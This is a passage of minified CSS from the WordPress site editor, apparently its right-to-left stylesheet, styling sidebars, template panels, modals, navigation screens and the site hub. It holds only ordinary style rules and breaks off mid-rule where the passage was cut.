.edit-site-change-status__password-legend{margin-bottom:8px;padding:0}.edit-site-summary-field__trigger{display:block;max-width:100%;overflow:hidden;text-align:right;text-overflow:ellipsis;white-space:nowrap}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{padding-left:16px;padding-right:0}.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{height:24px;min-width:24px;padding:0}@media (min-width:782px){.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{display:flex}}.edit-site-sidebar-card{align-items:flex-start;display:flex}.edit-site-sidebar-card__content{flex-grow:1;margin-bottom:4px}.edit-site-sidebar-card__title{font-weight:500;line-height:24px}.edit-site-sidebar-card__title.edit-site-sidebar-card__title{font-size:13px;line-height:1.4;margin:0;padding:3px 0}.edit-site-sidebar-card__description{font-size:13px}.edit-site-sidebar-card__icon{flex:0 0 24px;height:24px;margin-left:12px;width:24px}.edit-site-sidebar-card__header{display:flex;justify-content:space-between;margin:0 0 4px}.edit-site-template-card__template-areas{margin-top:16px}.edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{margin:0}.edit-site-template-card__template-areas-item{width:100%}.edit-site-template-card__template-areas-item.components-button.has-icon{padding:0}.edit-site-template-card__actions{line-height:0}.edit-site-template-card__actions>.components-button.is-small.has-icon{min-width:auto;padding:0}h3.edit-site-template-card__template-areas-title{font-weight:500;margin:0 0 8px}.edit-site-template-panel__replace-template-modal{z-index:1000001}.edit-site-template-panel__replace-template-modal__content{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-template-panel__replace-template-modal__content{column-count:3}}@media (min-width:1280px){.edit-site-template-panel__replace-template-modal__content{column-count:4}}.edit-site-editor__interface-skeleton{opacity:1;transition:opacity .1s ease-out}@media (prefers-reduced-motion:reduce){.edit-site-editor__interface-skeleton{transition-delay:0s;transition-duration:0s}}.edit-site-editor__interface-skeleton.is-loading{opacity:0}.edit-site-editor__interface-skeleton .interface-interface-skeleton__header{border:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site .components-editor-notices__snackbar{bottom:40px;left:0;padding-left:16px;padding-right:16px;position:absolute;right:0}@media (min-width:783px){.edit-site .components-editor-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-site .components-editor-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-site .components-editor-notices__snackbar{right:160px}}.folded .edit-site .components-editor-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-site .components-editor-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{right:0!important}.edit-site-create-template-part-modal{z-index:1000001}@media (min-width:600px){.edit-site-create-template-part-modal .components-modal__frame{max-width:500px}}.edit-site-create-template-part-modal__area-radio-group{border:1px solid #757575;border-radius:2px;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{display:block;height:100%;padding:12px;text-align:right;width:100%}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{background-color:inherit;border-bottom:1px solid #757575;border-radius:0;margin:0}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){box-shadow:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{border-bottom:1px solid #fff}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{border-bottom:none}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{color:#1e1e1e;cursor:auto}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{color:#949494}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{padding-top:4px;white-space:normal}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{font-size:12px;padding-top:4px}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{margin-right:auto;min-width:24px}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.edit-site-start-template-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{display:none}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.edit-site-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-site-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-site-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-site-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-site-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-site-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-site-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-site-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.edit-site-layout{background:#1e1e1e;color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout__hub{height:60px;position:fixed;right:0;top:0;width:calc(100vw - 32px);z-index:3}@media (min-width:782px){.edit-site-layout__hub{width:336px}}.edit-site-layout.is-full-canvas .edit-site-layout__hub{border-radius:0;box-shadow:none;padding-left:0;width:60px}.edit-site-layout__header-container{z-index:4}.edit-site-layout__header{display:flex;height:60px;z-index:2}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{position:fixed;width:100vw}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:360px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;position:fixed!important;right:0;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{left:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{position:relative;width:100%;z-index:2}.edit-site-layout__canvas-container{flex-grow:1;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;position:absolute;right:0;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas>div{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{border-radius:8px}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{border-radius:0}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}.edit-site-layout__view-mode-toggle.components-button{align-items:center;border-bottom:1px solid #0000;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout.is-full-canvas .edit-site-layout__view-mode-toggle.components-button{border-bottom-color:#e0e0e0;transition:border-bottom-color .15s ease-out .4s}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus{box-shadow:none}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px;transition:box-shadow .1s ease}@media (prefers-reduced-motion:reduce){.edit-site-layout__view-mode-toggle.components-button:before{transition-delay:0s;transition-duration:0s}}.edit-site-layout__view-mode-toggle.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a,inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;border-radius:2px;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-right:1px solid #ddd}}.edit-site-layout.is-distraction-free .edit-site-layout__header-container{height:60px;left:0;position:absolute;right:0;top:0;width:100%;z-index:4}.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within{opacity:1!important}.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within div{transform:translateX(0) translateY(0) translateZ(0)!important}.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{opacity:1!important}.edit-site-layout.is-distraction-free .edit-site-layout__header,.edit-site-layout.is-distraction-free .edit-site-site-hub{position:absolute;top:0;z-index:2}.edit-site-layout.is-distraction-free .edit-site-site-hub{z-index:3}.edit-site-layout.is-distraction-free .edit-site-layout__header{width:100%}.edit-site-layout__area{flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 0 16px 16px}}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:20px 16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{flex-grow:1;overflow-y:auto}.edit-site-sidebar__screen-wrapper{display:flex;flex-direction:column;height:100%;padding:0 12px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}.edit-site-sidebar__footer{border-top:1px solid #2f2f2f;flex-shrink:0;margin:0 16px;padding:16px 0}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));outline:3px solid #0000}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;border-radius:2px;color:#949494;min-height:40px;padding:8px 16px 8px 6px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{background:#2f2f2f;color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current]{background:var(--wp-admin-theme-color);color:#fff}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-left:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px 0 8px 8px}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-item-group{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__meta{color:#ccc;margin:0 16px 16px 0}.edit-site-sidebar-navigation-screen__meta .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__page-link{color:#949494;display:inline-block;word-break:break-word}.edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{color:#fff}.edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{margin-right:4px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:108px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word;padding:6px 0 0}.edit-site-sidebar-navigation-screen__actions{display:flex;flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{max-width:292px}}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #f0f0f0}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:16px 0;position:sticky}.edit-site-sidebar__notice{background:#2f2f2f;color:#ddd;margin:24px 0}.edit-site-sidebar__notice.is-dismissible{padding-left:8px}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){color:#ccc}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#fff}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;border-radius:2px;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{margin-right:auto;fill:#949494}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-page__featured-image-wrapper{background-color:#2f2f2f;border-radius:4px;margin-bottom:16px;min-height:128px}.edit-site-sidebar-navigation-screen-page__featured-image{align-items:center;background-position:50% 50%;background-size:cover;border-radius:2px;color:#949494;display:flex;height:128px;justify-content:center;overflow:hidden;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image img{height:100%;object-fit:cover;object-position:50% 50%;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image-description{font-size:12px}.edit-site-sidebar-navigation-screen-page__excerpt{font-size:12px;margin-bottom:24px}.edit-site-sidebar-navigation-screen-page__modified{color:#949494;margin:0 16px 16px 0}.edit-site-sidebar-navigation-screen-page__modified .components-text{color:#949494}.edit-site-sidebar-navigation-screen-page__status{display:inline-flex}.edit-site-sidebar-navigation-screen-page__status time{display:contents}.edit-site-sidebar-navigation-screen-page__status svg{height:16px;margin-left:8px;width:16px;fill:#f0b849}.edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{fill:#4ab866}.edit-site-sidebar-navigation-screen-templates__templates-group-title.components-item{border-top:1px solid #2f2f2f;color:#e0e0e0;font-size:11px;font-weight:500;padding:24px 16px 16px 6px;text-transform:uppercase}.edit-site-sidebar-navigation-details-screen-panel{margin:24px 0}.edit-site-sidebar-navigation-details-screen-panel:last-of-type{margin-bottom:0}.edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{color:#ccc;font-size:11px;font-weight:500;margin-bottom:0;padding:0;text-transform:uppercase}.edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{color:#949494;flex-shrink:0;width:100px}.edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{color:#e0e0e0}.edit-site-sidebar-navigation-screen-pattern__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{border-radius:12px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{height:24px;margin-left:8px;width:24px}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-template__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-template__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-template__added-by-description-author img{border-radius:12px;height:20px;width:20px}.edit-site-sidebar-navigation-screen-template__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{align-items:center;display:inline-flex;height:24px;justify-content:center;margin-left:4px;width:24px}.edit-site-sidebar-navigation-screen-template__template-area-button{align-items:center;border-radius:4px;color:#fff;display:flex;flex-wrap:nowrap;width:100%}.edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{background:#2f2f2f;color:#fff}.edit-site-sidebar-navigation-screen-template__template-area-label-text{flex-grow:1;margin:0 4px 0 16px}.edit-site-sidebar-navigation-screen-template__template-icon{display:flex}.edit-site-sidebar-navigation-screen-dataviews__group-header{margin-top:32px}.edit-site-sidebar-navigation-screen-dataviews__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-dataviews-dataview-item{border-radius:2px;padding-left:8px}.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{min-width:auto}.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{background:#2f2f2f;color:#e0e0e0}.edit-site-sidebar-dataviews-dataview-item.is-selected{background:var(--wp-admin-theme-color);color:#fff}.edit-site-site-hub{align-items:center;display:flex;gap:8px;justify-content:space-between}.edit-site-site-hub .edit-site-site-hub__container{gap:0}.edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub__site-view-link,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{transition:opacity .1s ease}.edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub__site-view-link.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{opacity:0!important}.edit-site-site-hub .edit-site-site-hub__site-view-link{flex-grow:0;margin-left:var(--wp-admin-border-width-focus)}.edit-site-site-hub .edit-site-site-hub__site-view-link svg{fill:#e0e0e0}.edit-site-site-hub__post-type{opacity:.6}.edit-site-site-hub__view-mode-toggle-container{background:#1e1e1e;flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background{background:#0000}.edit-site-site-hub__text-content{overflow:hidden}.edit-site-site-hub__title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__site-title{color:#e0e0e0;flex-grow:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{border-radius:2px;max-width:calc(100% - 4px)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{margin-right:-8px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{background:#0000}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{color:inherit}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{opacity:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{opacity:1}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:#0000}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{width:100%}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-left:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-site-icon__icon{fill:currentColor;transition:padding .3s ease-out}@media (prefers-reduced-motion:reduce){.edit-site-site-icon__icon{transition-delay:0s;transition-duration:0s}}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:6px}.edit-site-site-icon__image{background:#333;border-radius:4px;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas 